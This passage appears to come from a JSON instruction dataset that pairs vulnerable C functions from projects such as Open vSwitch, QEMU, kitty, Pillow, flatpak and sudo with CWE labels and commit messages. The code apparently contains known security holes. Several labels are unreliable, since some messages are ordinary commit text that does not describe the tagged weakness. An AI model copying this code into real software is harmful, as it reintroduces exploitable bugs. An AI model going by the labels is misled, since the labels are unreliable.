IPPROTO_FRAGMENT))) {\n /* It's either a terminal header (e.g., TCP, UDP) or one we\n * don't understand. In either case, we're done with the\n * packet, so use it to fill in 'nw_proto'. */\n break;\n }\n\n /* We only verify that at least 8 bytes of the next header are\n * available, but many of these headers are longer. Ensure that\n * accesses within the extension header are within those first 8\n * bytes. All extension headers are required to be at least 8\n * bytes. */\n if (OVS_UNLIKELY(size < 8)) {\n goto out;\n }\n\n if ((nw_proto == IPPROTO_HOPOPTS)\n || (nw_proto == IPPROTO_ROUTING)\n || (nw_proto == IPPROTO_DSTOPTS)) {\n /* These headers, while different, have the fields we care\n * about in the same location and with the same\n * interpretation. */\n const struct ip6_ext *ext_hdr = data;\n nw_proto = ext_hdr->ip6e_nxt;\n if (OVS_UNLIKELY(!data_try_pull(&data, &size,\n (ext_hdr->ip6e_len + 1) * 8))) {\n goto out;\n }\n } else if (nw_proto == IPPROTO_AH) {\n /* A standard AH definition isn't available, but the fields\n * we care about are in the same location as the generic\n * option header--only the header length is calculated\n * differently. */\n const struct ip6_ext *ext_hdr = data;\n nw_proto = ext_hdr->ip6e_nxt;\n if (OVS_UNLIKELY(!data_try_pull(&data, &size,\n (ext_hdr->ip6e_len + 2) * 4))) {\n goto out;\n }\n } else if (nw_proto == IPPROTO_FRAGMENT) {\n const struct ovs_16aligned_ip6_frag *frag_hdr = data;\n\n nw_proto = frag_hdr->ip6f_nxt;\n if (!data_try_pull(&data, &size, sizeof *frag_hdr)) {\n goto out;\n }\n\n /* We only process the first fragment. */\n if (frag_hdr->ip6f_offlg != htons(0)) {\n nw_frag = FLOW_NW_FRAG_ANY;\n if ((frag_hdr->ip6f_offlg & IP6F_OFF_MASK) != htons(0)) {\n nw_frag |= FLOW_NW_FRAG_LATER;\n nw_proto = IPPROTO_FRAGMENT;\n break;\n }\n }\n }\n }\n\n /* This needs to be after the parse_ipv6_ext_hdrs__() call because it\n * leaves the nw_frag word uninitialized. */\n ASSERT_SEQUENTIAL(ipv6_label, nw_frag);\n ovs_be32 label = tc_flow & htonl(IPV6_LABEL_MASK);\n miniflow_push_be32(mf, ipv6_label, label);\n } else {\n if (dl_type == htons(ETH_TYPE_ARP) ||\n dl_type == htons(ETH_TYPE_RARP)) {\n struct eth_addr arp_buf[2];\n const struct arp_eth_header *arp = (const struct arp_eth_header *)\n data_try_pull(&data, &size, ARP_ETH_HEADER_LEN);\n\n if (OVS_LIKELY(arp) && OVS_LIKELY(arp->ar_hrd == htons(1))\n && OVS_LIKELY(arp->ar_pro == htons(ETH_TYPE_IP))\n && OVS_LIKELY(arp->ar_hln == ETH_ADDR_LEN)\n && OVS_LIKELY(arp->ar_pln == 4)) {\n miniflow_push_be32(mf, nw_src,\n get_16aligned_be32(&arp->ar_spa));\n miniflow_push_be32(mf, nw_dst,\n get_16aligned_be32(&arp->ar_tpa));\n\n /* We only match on the lower 8 bits of the opcode. */\n if (OVS_LIKELY(ntohs(arp->ar_op) <= 0xff)) {\n miniflow_push_be32(mf, ipv6_label, 0); /* Pad with ARP. */\n miniflow_push_be32(mf, nw_frag, htonl(ntohs(arp->ar_op)));\n }\n\n /* Must be adjacent. */\n ASSERT_SEQUENTIAL(arp_sha, arp_tha);\n\n arp_buf[0] = arp->ar_sha;\n arp_buf[1] = arp->ar_tha;\n miniflow_push_macs(mf, arp_sha, arp_buf);\n miniflow_pad_to_64(mf, tcp_flags);\n }\n }\n goto out;\n }\n\n packet->l4_ofs = (char *)data - l2;\n miniflow_push_be32(mf, nw_frag,\n BYTES_TO_BE32(nw_frag, nw_tos, nw_ttl, nw_proto));\n\n if (OVS_LIKELY(!(nw_frag & FLOW_NW_FRAG_LATER))) {\n if (OVS_LIKELY(nw_proto == IPPROTO_TCP)) {\n if (OVS_LIKELY(size >= TCP_HEADER_LEN)) {\n const struct tcp_header *tcp = data;\n\n miniflow_push_be32(mf, arp_tha.ea[2], 0);\n miniflow_push_be32(mf, tcp_flags,\n TCP_FLAGS_BE32(tcp->tcp_ctl));\n miniflow_push_be16(mf, tp_src, tcp->tcp_src);\n miniflow_push_be16(mf, tp_dst, tcp->tcp_dst);\n miniflow_pad_to_64(mf, igmp_group_ip4);\n }\n } else if (OVS_LIKELY(nw_proto == IPPROTO_UDP)) {\n if (OVS_LIKELY(size >= UDP_HEADER_LEN)) {\n const struct udp_header *udp = data;\n\n miniflow_push_be16(mf, tp_src, udp->udp_src);\n miniflow_push_be16(mf, tp_dst, udp->udp_dst);\n miniflow_pad_to_64(mf, igmp_group_ip4);\n }\n } else if (OVS_LIKELY(nw_proto == IPPROTO_SCTP)) {\n if (OVS_LIKELY(size >= SCTP_HEADER_LEN)) {\n const struct sctp_header *sctp = data;\n\n miniflow_push_be16(mf, tp_src, sctp->sctp_src);\n miniflow_push_be16(mf, tp_dst, sctp->sctp_dst);\n miniflow_pad_to_64(mf, igmp_group_ip4);\n }\n } else if (OVS_LIKELY(nw_proto == IPPROTO_ICMP)) {\n if (OVS_LIKELY(size >= ICMP_HEADER_LEN)) {\n const struct icmp_header *icmp = data;\n\n miniflow_push_be16(mf, tp_src, htons(icmp->icmp_type));\n miniflow_push_be16(mf, tp_dst, htons(icmp->icmp_code));\n miniflow_pad_to_64(mf, igmp_group_ip4);\n }\n } else if (OVS_LIKELY(nw_proto == IPPROTO_IGMP)) {\n if (OVS_LIKELY(size >= IGMP_HEADER_LEN)) {\n const struct igmp_header *igmp = data;\n\n miniflow_push_be16(mf, tp_src, htons(igmp->igmp_type));\n miniflow_push_be16(mf, tp_dst, htons(igmp->igmp_code));\n miniflow_push_be32(mf, igmp_group_ip4,\n get_16aligned_be32(&igmp->group));\n }\n } else if (OVS_LIKELY(nw_proto == IPPROTO_ICMPV6)) {\n if (OVS_LIKELY(size >= sizeof(struct icmp6_hdr))) {\n const struct in6_addr *nd_target = NULL;\n struct eth_addr arp_buf[2] = { { { { 0 } } } };\n const struct icmp6_hdr *icmp = data_pull(&data, &size,\n sizeof *icmp);\n parse_icmpv6(&data, &size, icmp, &nd_target, arp_buf);\n if (nd_target) {\n miniflow_push_words(mf, nd_target, nd_target,\n sizeof *nd_target / sizeof(uint64_t));\n }\n miniflow_push_macs(mf, arp_sha, arp_buf);\n miniflow_pad_to_64(mf, tcp_flags);\n miniflow_push_be16(mf, tp_src, htons(icmp->icmp6_type));\n miniflow_push_be16(mf, tp_dst, htons(icmp->icmp6_code));\n miniflow_pad_to_64(mf, igmp_group_ip4);\n }\n }\n }\n out:\n dst->map = mf.map;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'flow: Support extra padding length.\n\nAlthough not required, padding can be optionally added until\nthe packet length is MTU bytes. A packet with extra padding\ncurrently fails sanity checks.\n\nVulnerability: CVE-2020-35498\nFixes: fa8d9001a624 (\"miniflow_extract: Properly handle small IP packets.\")\nReported-by: Joakim Hindersson \nAcked-by: Ilya Maximets \nSigned-off-by: Flavio Leitner \nSigned-off-by: Ilya Maximets '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static uint8_t esp_fifo_pop(ESPState *s)\n{\n if (fifo8_is_empty(&s->fifo)) {\n return 0;\n }\n\n return fifo8_pop(&s->fifo);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'esp: consolidate esp_cmdfifo_pop() into esp_fifo_pop()\n\nEach FIFO currently has its own pop functions with the only difference being\nthe capacity check. The original reason for this was that the fifo8\nimplementation doesn't have a formal API for retrieving the FIFO capacity,\nhowever there are multiple examples within QEMU where the capacity field is\naccessed directly.\n\nChange esp_fifo_pop() to access the FIFO capacity directly and then consolidate\nesp_cmdfifo_pop() into esp_fifo_pop().\n\nSigned-off-by: Mark Cave-Ayland \nReviewed-by: Philippe Mathieu-Daud\u00e9 \nTested-by: Alexander Bulekov \nMessage-Id: <20210407195801.685-5-mark.cave-ayland@ilande.co.uk>'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void do_cmd(ESPState *s)\n{\n uint8_t busid = fifo8_pop(&s->cmdfifo);\n\n s->cmdfifo_cdb_offset--;\n\n /* Ignore extended messages for now */\n if (s->cmdfifo_cdb_offset) {\n esp_fifo_pop_buf(&s->cmdfifo, NULL, s->cmdfifo_cdb_offset);\n s->cmdfifo_cdb_offset = 0;\n }\n\n do_busid_cmd(s, busid);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'esp: don't underflow cmdfifo in do_cmd()\n\nIf the guest tries to execute a CDB when cmdfifo is not empty before the start\nof the message out phase then clearing the message out phase data will cause\ncmdfifo to underflow due to cmdfifo_cdb_offset being larger than the amount of\ndata within.\n\nSince this can only occur by issuing deliberately incorrect instruction\nsequences, ensure that the maximum length of esp_fifo_pop_buf() is limited to\nthe size of the data within cmdfifo.\n\nBuglink: https://bugs.launchpad.net/qemu/+bug/1909247\nSigned-off-by: Mark Cave-Ayland \nReviewed-by: Philippe Mathieu-Daud\u00e9 \nTested-by: Alexander Bulekov \nMessage-Id: <20210407195801.685-8-mark.cave-ayland@ilande.co.uk>'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: handle_add_command(GraphicsManager *self, const GraphicsCommand *g, const uint8_t *payload, bool *is_dirty, uint32_t iid) {\n#define ABRT(code, ...) { set_add_response(#code, __VA_ARGS__); self->loading_image = 0; if (img) img->data_loaded = false; return NULL; }\n#define MAX_DATA_SZ (4u * 100000000u)\n has_add_respose = false;\n bool existing, init_img = true;\n Image *img = NULL;\n unsigned char tt = g->transmission_type ? g->transmission_type : 'd';\n enum FORMATS { RGB=24, RGBA=32, PNG=100 };\n uint32_t fmt = g->format ? g->format : RGBA;\n if (tt == 'd' && self->loading_image) init_img = false;\n if (init_img) {\n self->last_init_graphics_command = *g;\n self->last_init_graphics_command.id = iid;\n self->loading_image = 0;\n if (g->data_width > 10000 || g->data_height > 10000) ABRT(EINVAL, \"Image too large\");\n remove_images(self, add_trim_predicate, 0);\n img = find_or_create_image(self, iid, &existing);\n if (existing) {\n free_load_data(&img->load_data);\n img->data_loaded = false;\n free_refs_data(img);\n *is_dirty = true;\n self->layers_dirty = true;\n } else {\n img->internal_id = internal_id_counter++;\n img->client_id = iid;\n }\n img->atime = monotonic(); img->used_storage = 0;\n img->width = g->data_width; img->height = g->data_height;\n switch(fmt) {\n case PNG:\n if (g->data_sz > MAX_DATA_SZ) ABRT(EINVAL, \"PNG data size too large\");\n img->load_data.is_4byte_aligned = true;\n img->load_data.is_opaque = false;\n img->load_data.data_sz = g->data_sz ? g->data_sz : 1024 * 100;\n break;\n case RGB:\n case RGBA:\n img->load_data.data_sz = (size_t)g->data_width * g->data_height * (fmt / 8);\n if (!img->load_data.data_sz) ABRT(EINVAL, \"Zero width/height not allowed\");\n img->load_data.is_4byte_aligned = fmt == RGBA || (img->width % 4 == 0);\n img->load_data.is_opaque = fmt == RGB;\n break;\n default:\n ABRT(EINVAL, \"Unknown image format: %u\", fmt);\n }\n if (tt == 'd') {\n if (g->more) self->loading_image = img->internal_id;\n img->load_data.buf_capacity = img->load_data.data_sz + (g->compressed ? 1024 : 10); // compression header\n img->load_data.buf = malloc(img->load_data.buf_capacity);\n img->load_data.buf_used = 0;\n if (img->load_data.buf == NULL) {\n ABRT(ENOMEM, \"Out of memory\");\n img->load_data.buf_capacity = 0; img->load_data.buf_used = 0;\n }\n }\n } else {\n self->last_init_graphics_command.more = g->more;\n self->last_init_graphics_command.payload_sz = g->payload_sz;\n g = &self->last_init_graphics_command;\n tt = g->transmission_type ? g->transmission_type : 'd';\n fmt = g->format ? g->format : RGBA;\n img = img_by_internal_id(self, self->loading_image);\n if (img == NULL) {\n self->loading_image = 0;\n ABRT(EILSEQ, \"More payload loading refers to non-existent image\");\n }\n }\n int fd;\n static char fname[2056] = {0};\n switch(tt) {\n case 'd': // direct\n if (img->load_data.buf_capacity - img->load_data.buf_used < g->payload_sz) {\n if (img->load_data.buf_used + g->payload_sz > MAX_DATA_SZ || fmt != PNG) ABRT(EFBIG, \"Too much data\");\n img->load_data.buf_capacity = MIN(2 * img->load_data.buf_capacity, MAX_DATA_SZ);\n img->load_data.buf = realloc(img->load_data.buf, img->load_data.buf_capacity);\n if (img->load_data.buf == NULL) {\n ABRT(ENOMEM, \"Out of memory\");\n img->load_data.buf_capacity = 0; img->load_data.buf_used = 0;\n }\n }\n memcpy(img->load_data.buf + img->load_data.buf_used, payload, g->payload_sz);\n img->load_data.buf_used += g->payload_sz;\n if (!g->more) { img->data_loaded = true; self->loading_image = 0; }\n break;\n case 'f': // file\n case 't': // temporary file\n case 's': // POSIX shared memory\n if (g->payload_sz > 2048) ABRT(EINVAL, \"Filename too long\");\n snprintf(fname, sizeof(fname)/sizeof(fname[0]), \"%.*s\", (int)g->payload_sz, payload);\n if (tt == 's') fd = shm_open(fname, O_RDONLY, 0);\n else fd = open(fname, O_CLOEXEC | O_RDONLY);\n if (fd == -1) ABRT(EBADF, \"Failed to open file %s for graphics transmission with error: [%d] %s\", fname, errno, strerror(errno));\n img->data_loaded = mmap_img_file(self, img, fd, g->data_sz, g->data_offset);\n safe_close(fd, __FILE__, __LINE__);\n if (tt == 't') {\n if (global_state.boss) { call_boss(safe_delete_temp_file, \"s\", fname); }\n else unlink(fname);\n }\n else if (tt == 's') shm_unlink(fname);\n break;\n default:\n ABRT(EINVAL, \"Unknown transmission type: %c\", g->transmission_type);\n }\n if (!img->data_loaded) return NULL;\n self->loading_image = 0;\n bool needs_processing = g->compressed || fmt == PNG;\n if (needs_processing) {\n uint8_t *buf; size_t bufsz;\n#define IB { if (img->load_data.buf) { buf = img->load_data.buf; bufsz = img->load_data.buf_used; } else { buf = img->load_data.mapped_file; bufsz = img->load_data.mapped_file_sz; } }\n switch(g->compressed) {\n case 'z':\n IB;\n if (!inflate_zlib(self, img, buf, bufsz)) {\n img->data_loaded = false; return NULL;\n }\n break;\n case 0:\n break;\n default:\n ABRT(EINVAL, \"Unknown image compression: %c\", g->compressed);\n }\n switch(fmt) {\n case PNG:\n IB;\n if (!inflate_png(self, img, buf, bufsz)) {\n img->data_loaded = false; return NULL;\n }\n break;\n default: break;\n }\n#undef IB\n img->load_data.data = img->load_data.buf;\n if (img->load_data.buf_used < img->load_data.data_sz) {\n ABRT(ENODATA, \"Insufficient image data: %zu < %zu\", img->load_data.buf_used, img->load_data.data_sz);\n }\n if (img->load_data.mapped_file) {\n munmap(img->load_data.mapped_file, img->load_data.mapped_file_sz);\n img->load_data.mapped_file = NULL; img->load_data.mapped_file_sz = 0;\n }\n } else {\n if (tt == 'd') {\n if (img->load_data.buf_used < img->load_data.data_sz) {\n ABRT(ENODATA, \"Insufficient image data: %zu < %zu\", img->load_data.buf_used, img->load_data.data_sz);\n } else img->load_data.data = img->load_data.buf;\n } else {\n if (img->load_data.mapped_file_sz < img->load_data.data_sz) {\n ABRT(ENODATA, \"Insufficient image data: %zu < %zu\", img->load_data.mapped_file_sz, img->load_data.data_sz);\n } else img->load_data.data = img->load_data.mapped_file;\n }\n }\n size_t required_sz = (size_t)(img->load_data.is_opaque ? 3 : 4) * img->width * img->height;\n if (img->load_data.data_sz != required_sz) ABRT(EINVAL, \"Image dimensions: %ux%u do not match data size: %zu, expected size: %zu\", img->width, img->height, img->load_data.data_sz, required_sz);\n if (LIKELY(img->data_loaded && send_to_gpu)) {\n send_image_to_gpu(&img->texture_id, img->load_data.data, img->width, img->height, img->load_data.is_opaque, img->load_data.is_4byte_aligned, false, REPEAT_CLAMP);\n free_load_data(&img->load_data);\n self->used_storage += required_sz;\n img->used_storage = required_sz;\n }\n return img;\n#undef MAX_DATA_SZ\n#undef ABRT\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Graphics protocol: Dont return filename in the error message when opening file fails, since filenames can contain control characters\n\nFixes #3128'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static VALUE read_memory(VALUE klass, VALUE content)\n{\n xmlRelaxNGParserCtxtPtr ctx = xmlRelaxNGNewMemParserCtxt(\n (const char *)StringValuePtr(content),\n (int)RSTRING_LEN(content)\n );\n xmlRelaxNGPtr schema;\n VALUE errors = rb_ary_new();\n VALUE rb_schema;\n\n xmlSetStructuredErrorFunc((void *)errors, Nokogiri_error_array_pusher);\n\n#ifdef HAVE_XMLRELAXNGSETPARSERSTRUCTUREDERRORS\n xmlRelaxNGSetParserStructuredErrors(\n ctx,\n Nokogiri_error_array_pusher,\n (void *)errors\n );\n#endif\n\n schema = xmlRelaxNGParse(ctx);\n\n xmlSetStructuredErrorFunc(NULL, NULL);\n xmlRelaxNGFreeParserCtxt(ctx);\n\n if(NULL == schema) {\n xmlErrorPtr error = xmlGetLastError();\n if(error)\n Nokogiri_error_raise(NULL, error);\n else\n rb_raise(rb_eRuntimeError, \"Could not parse document\");\n\n return Qnil;\n }\n\n rb_schema = Data_Wrap_Struct(klass, 0, dealloc, schema);\n rb_iv_set(rb_schema, \"@errors\", errors);\n\n return rb_schema;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-611', 'CWE-703'], 'message': 'feat: XML::Schema and RelaxNG creation accept optional ParseOptions\n\nI'm trying out a new pattern, which is that the parsed object carries\naround the ParseOptions it was created with, which should make some\ntesting a bit easier.\n\nI'm also not implementing the \"config block\" pattern in use for\nDocuments, because I think the UX is weird and I'm hoping to change\neverything to use kwargs in a 2.0 release, anyway.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ReadStrip(TIFF* tiff, UINT32 row, UINT32* buffer) {\n uint16 photometric = 0; // init to not PHOTOMETRIC_YCBCR\n TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric);\n\n // To avoid dealing with YCbCr subsampling, let libtiff handle it\n if (photometric == PHOTOMETRIC_YCBCR) {\n TIFFRGBAImage img;\n char emsg[1024] = \"\";\n UINT32 rows_per_strip, rows_to_read;\n int ok;\n\n\n TIFFGetFieldDefaulted(tiff, TIFFTAG_ROWSPERSTRIP, &rows_per_strip);\n if ((row % rows_per_strip) != 0) {\n TRACE((\"Row passed to ReadStrip() must be first in a strip.\"));\n return -1;\n }\n\n if (TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg)) {\n TRACE((\"Initialized RGBAImage\\n\"));\n\n img.req_orientation = ORIENTATION_TOPLEFT;\n img.row_offset = row;\n img.col_offset = 0;\n\n rows_to_read = min(rows_per_strip, img.height - row);\n\n TRACE((\"rows to read: %d\\n\", rows_to_read));\n ok = TIFFRGBAImageGet(&img, buffer, img.width, rows_to_read);\n\n TIFFRGBAImageEnd(&img);\n } else {\n ok = 0;\n }\n\n if (ok == 0) {\n TRACE((\"Decode Error, row %d; msg: %s\\n\", row, emsg));\n return -1;\n }\n\n return 0;\n }\n\n if (TIFFReadEncodedStrip(tiff, TIFFComputeStrip(tiff, row, 0), (tdata_t)buffer, -1) == -1) {\n TRACE((\"Decode Error, strip %d\\n\", TIFFComputeStrip(tiff, row, 0)));\n return -1;\n }\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Fix CVE-2020-35654 - OOB Write in TiffDecode.c\n\n* In some circumstances with some versions of libtiff (4.1.0+), there\n could be a 4 byte out of bound write when decoding a YCbCr tiff.\n* The Pillow code dates to 6.0.0\n* Found and reported through Tidelift'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: flatpak_run_apply_env_vars (FlatpakBwrap *bwrap, FlatpakContext *context)\n{\n GHashTableIter iter;\n gpointer key, value;\n\n g_hash_table_iter_init (&iter, context->env_vars);\n while (g_hash_table_iter_next (&iter, &key, &value))\n {\n const char *var = key;\n const char *val = value;\n\n if (val && val[0] != 0)\n flatpak_bwrap_set_env (bwrap, var, val, TRUE);\n else\n flatpak_bwrap_unset_env (bwrap, var);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-74'], 'message': 'run: Allow setting environment variables to empty strings\n\nSome consumers of environment variables distinguish between present\nwith an empty value and absent. For example, if an environment variable\nrepresents a search path like VK_ICD_FILENAMES, unsetting it often\nresults in use of a default, but setting it to the empty string results\nin not searching any locations, which is sometimes what is desired.\n\nThe shell syntax \"${BAR-unset}\" expands to the value of ${BAR} if it\nis set to anything (even an empty string), or to \"unset\" if not.\nWe can use that in the unit test to check that BAR is set to the\nempty string in this case.\n\nThis follows up from GHSA-4ppf-fxf6-vxg2 to fix an issue that I noticed\nwhile resolving that vulnerability, but is not required for fixing the\nvulnerability.\n\nSigned-off-by: Simon McVittie '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],\n bool verbose, void *closure)\n{\n char *iolog_path = NULL;\n mode_t cmnd_umask = ACCESSPERMS;\n struct sudo_nss *nss;\n int oldlocale, validated, ret = -1;\n debug_decl(sudoers_policy_main, SUDOERS_DEBUG_PLUGIN);\n\n sudo_warn_set_locale_func(sudoers_warn_setlocale);\n\n unlimit_nproc();\n\n /* Is root even allowed to run sudo? */\n if (user_uid == 0 && !def_root_sudo) {\n\t/* Not an audit event (should it be?). */\n\tsudo_warnx(\"%s\",\n\t U_(\"sudoers specifies that root is not allowed to sudo\"));\n\tgoto bad;\n }\n\n if (!set_perms(PERM_INITIAL))\n\tgoto bad;\n\n /* Environment variables specified on the command line. */\n if (env_add != NULL && env_add[0] != NULL)\n\tsudo_user.env_vars = env_add;\n\n /*\n * Make a local copy of argc/argv, with special handling\n * for pseudo-commands and the '-i' option.\n */\n if (argc == 0) {\n\tNewArgc = 1;\n\tNewArgv = reallocarray(NULL, NewArgc + 1, sizeof(char *));\n\tif (NewArgv == NULL) {\n\t sudo_warnx(U_(\"%s: %s\"), __func__, U_(\"unable to allocate memory\"));\n\t goto done;\n\t}\n\tsudoers_gc_add(GC_VECTOR, NewArgv);\n\tNewArgv[0] = user_cmnd;\n\tNewArgv[1] = NULL;\n } else {\n\t/* Must leave an extra slot before NewArgv for bash's --login */\n\tNewArgc = argc;\n\tNewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));\n\tif (NewArgv == NULL) {\n\t sudo_warnx(U_(\"%s: %s\"), __func__, U_(\"unable to allocate memory\"));\n\t goto done;\n\t}\n\tsudoers_gc_add(GC_VECTOR, NewArgv);\n\tNewArgv++;\t/* reserve an extra slot for --login */\n\tmemcpy(NewArgv, argv, argc * sizeof(char *));\n\tNewArgv[NewArgc] = NULL;\n\tif (ISSET(sudo_mode, MODE_LOGIN_SHELL) && runas_pw != NULL) {\n\t NewArgv[0] = strdup(runas_pw->pw_shell);\n\t if (NewArgv[0] == NULL) {\n\t\tsudo_warnx(U_(\"%s: %s\"), __func__, U_(\"unable to allocate memory\"));\n\t\tgoto done;\n\t }\n\t sudoers_gc_add(GC_PTR, NewArgv[0]);\n\t}\n }\n\n /* If given the -P option, set the \"preserve_groups\" flag. */\n if (ISSET(sudo_mode, MODE_PRESERVE_GROUPS))\n\tdef_preserve_groups = true;\n\n /* Find command in path and apply per-command Defaults. */\n cmnd_status = set_cmnd();\n if (cmnd_status == NOT_FOUND_ERROR)\n\tgoto done;\n\n /* Check for -C overriding def_closefrom. */\n if (user_closefrom >= 0 && user_closefrom != def_closefrom) {\n\tif (!def_closefrom_override) {\n\t log_warningx(SLOG_NO_STDERR|SLOG_AUDIT,\n\t\tN_(\"user not allowed to override closefrom limit\"));\n\t sudo_warnx(\"%s\", U_(\"you are not permitted to use the -C option\"));\n\t goto bad;\n\t}\n\tdef_closefrom = user_closefrom;\n }\n\n /*\n * Check sudoers sources, using the locale specified in sudoers.\n */\n sudoers_setlocale(SUDOERS_LOCALE_SUDOERS, &oldlocale);\n validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);\n if (ISSET(validated, VALIDATE_ERROR)) {\n\t/* The lookup function should have printed an error. */\n\tgoto done;\n }\n\n /* Restore user's locale. */\n sudoers_setlocale(oldlocale, NULL);\n\n if (safe_cmnd == NULL) {\n\tif ((safe_cmnd = strdup(user_cmnd)) == NULL) {\n\t sudo_warnx(U_(\"%s: %s\"), __func__, U_(\"unable to allocate memory\"));\n\t goto done;\n\t}\n }\n\n /* Defer uid/gid checks until after defaults have been updated. */\n if (unknown_runas_uid && !def_runas_allow_unknown_id) {\n\tlog_warningx(SLOG_AUDIT, N_(\"unknown user: %s\"), runas_pw->pw_name);\n\tgoto done;\n }\n if (runas_gr != NULL) {\n\tif (unknown_runas_gid && !def_runas_allow_unknown_id) {\n\t log_warningx(SLOG_AUDIT, N_(\"unknown group: %s\"),\n\t\trunas_gr->gr_name);\n\t goto done;\n\t}\n }\n\n /*\n * Look up the timestamp dir owner if one is specified.\n */\n if (def_timestampowner) {\n\tstruct passwd *pw = NULL;\n\n\tif (*def_timestampowner == '#') {\n\t const char *errstr;\n\t uid_t uid = sudo_strtoid(def_timestampowner + 1, &errstr);\n\t if (errstr == NULL)\n\t\tpw = sudo_getpwuid(uid);\n\t}\n\tif (pw == NULL)\n\t pw = sudo_getpwnam(def_timestampowner);\n\tif (pw != NULL) {\n\t timestamp_uid = pw->pw_uid;\n\t timestamp_gid = pw->pw_gid;\n\t sudo_pw_delref(pw);\n\t} else {\n\t /* XXX - audit too? */\n\t log_warningx(SLOG_SEND_MAIL,\n\t\tN_(\"timestamp owner (%s): No such user\"), def_timestampowner);\n\t timestamp_uid = ROOT_UID;\n\t timestamp_gid = ROOT_GID;\n\t}\n }\n\n /* If no command line args and \"shell_noargs\" is not set, error out. */\n if (ISSET(sudo_mode, MODE_IMPLIED_SHELL) && !def_shell_noargs) {\n\t/* Not an audit event. */\n\tret = -2; /* usage error */\n\tgoto done;\n }\n\n /* Bail if a tty is required and we don't have one. */\n if (def_requiretty && !tty_present()) {\n\tlog_warningx(SLOG_NO_STDERR|SLOG_AUDIT, N_(\"no tty\"));\n\tsudo_warnx(\"%s\", U_(\"sorry, you must have a tty to run sudo\"));\n\tgoto bad;\n }\n\n /* Check runas user's shell. */\n if (!check_user_shell(runas_pw)) {\n\tlog_warningx(SLOG_RAW_MSG|SLOG_AUDIT,\n\t N_(\"invalid shell for user %s: %s\"),\n\t runas_pw->pw_name, runas_pw->pw_shell);\n\tgoto bad;\n }\n\n /*\n * We don't reset the environment for sudoedit or if the user\n * specified the -E command line flag and they have setenv privs.\n */\n if (ISSET(sudo_mode, MODE_EDIT) ||\n\t(ISSET(sudo_mode, MODE_PRESERVE_ENV) && def_setenv))\n\tdef_env_reset = false;\n\n /* Build a new environment that avoids any nasty bits. */\n if (!rebuild_env())\n\tgoto bad;\n\n /* Require a password if sudoers says so. */\n switch (check_user(validated, sudo_mode)) {\n case true:\n\t/* user authenticated successfully. */\n\tbreak;\n case false:\n\t/* Note: log_denial() calls audit for us. */\n\tif (!ISSET(validated, VALIDATE_SUCCESS)) {\n\t /* Only display a denial message if no password was read. */\n\t if (!log_denial(validated, def_passwd_tries <= 0))\n\t\tgoto done;\n\t}\n\tgoto bad;\n default:\n\t/* some other error, ret is -1. */\n\tgoto done;\n }\n\n /* Check whether user_runchroot is permitted (if specified). */\n switch (check_user_runchroot()) {\n case true:\n\tbreak;\n case false:\n\tgoto bad;\n default:\n\tgoto done;\n }\n\n /* Check whether user_runcwd is permitted (if specified). */\n switch (check_user_runcwd()) {\n case true:\n\tbreak;\n case false:\n\tgoto bad;\n default:\n\tgoto done;\n }\n\n /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */\n /* XXX - causes confusion when root is not listed in sudoers */\n if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) {\n\tif (user_uid == 0 && strcmp(prev_user, \"root\") != 0) {\n\t struct passwd *pw;\n\n\t if ((pw = sudo_getpwnam(prev_user)) != NULL) {\n\t\t if (sudo_user.pw != NULL)\n\t\t\tsudo_pw_delref(sudo_user.pw);\n\t\t sudo_user.pw = pw;\n\t }\n\t}\n }\n\n /* If the user was not allowed to run the command we are done. */\n if (!ISSET(validated, VALIDATE_SUCCESS)) {\n\t/* Note: log_failure() calls audit for us. */\n\tif (!log_failure(validated, cmnd_status))\n\t goto done;\n\tgoto bad;\n }\n\n /* Create Ubuntu-style dot file to indicate sudo was successful. */\n if (create_admin_success_flag() == -1)\n\tgoto done;\n\n /* Finally tell the user if the command did not exist. */\n if (cmnd_status == NOT_FOUND_DOT) {\n\taudit_failure(NewArgv, N_(\"command in current 